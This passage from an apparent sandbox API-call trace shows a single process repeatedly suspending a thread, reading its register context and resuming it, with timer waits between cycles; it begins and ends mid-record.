lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.513] SuspendThread (hThread=0x170) returned 0x0 [0177.513] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.514] ResumeThread (hThread=0x170) returned 0x1 [0177.514] CloseHandle (hObject=0x170) returned 1 [0177.514] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.515] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.515] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.515] SuspendThread (hThread=0x170) returned 0x0 [0177.515] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.517] ResumeThread (hThread=0x170) returned 0x1 [0177.517] CloseHandle (hObject=0x170) returned 1 [0177.517] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.517] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.517] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.517] SuspendThread (hThread=0x170) returned 0x0 [0177.517] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.519] ResumeThread (hThread=0x170) returned 0x1 [0177.519] CloseHandle (hObject=0x170) returned 1 [0177.519] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.519] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.519] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.520] SuspendThread (hThread=0x170) returned 0x0 [0177.520] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.723] ResumeThread (hThread=0x170) returned 0x1 [0177.723] CloseHandle (hObject=0x170) returned 1 [0177.723] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.724] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.724] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.724] SuspendThread (hThread=0x170) returned 0x0 [0177.724] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, 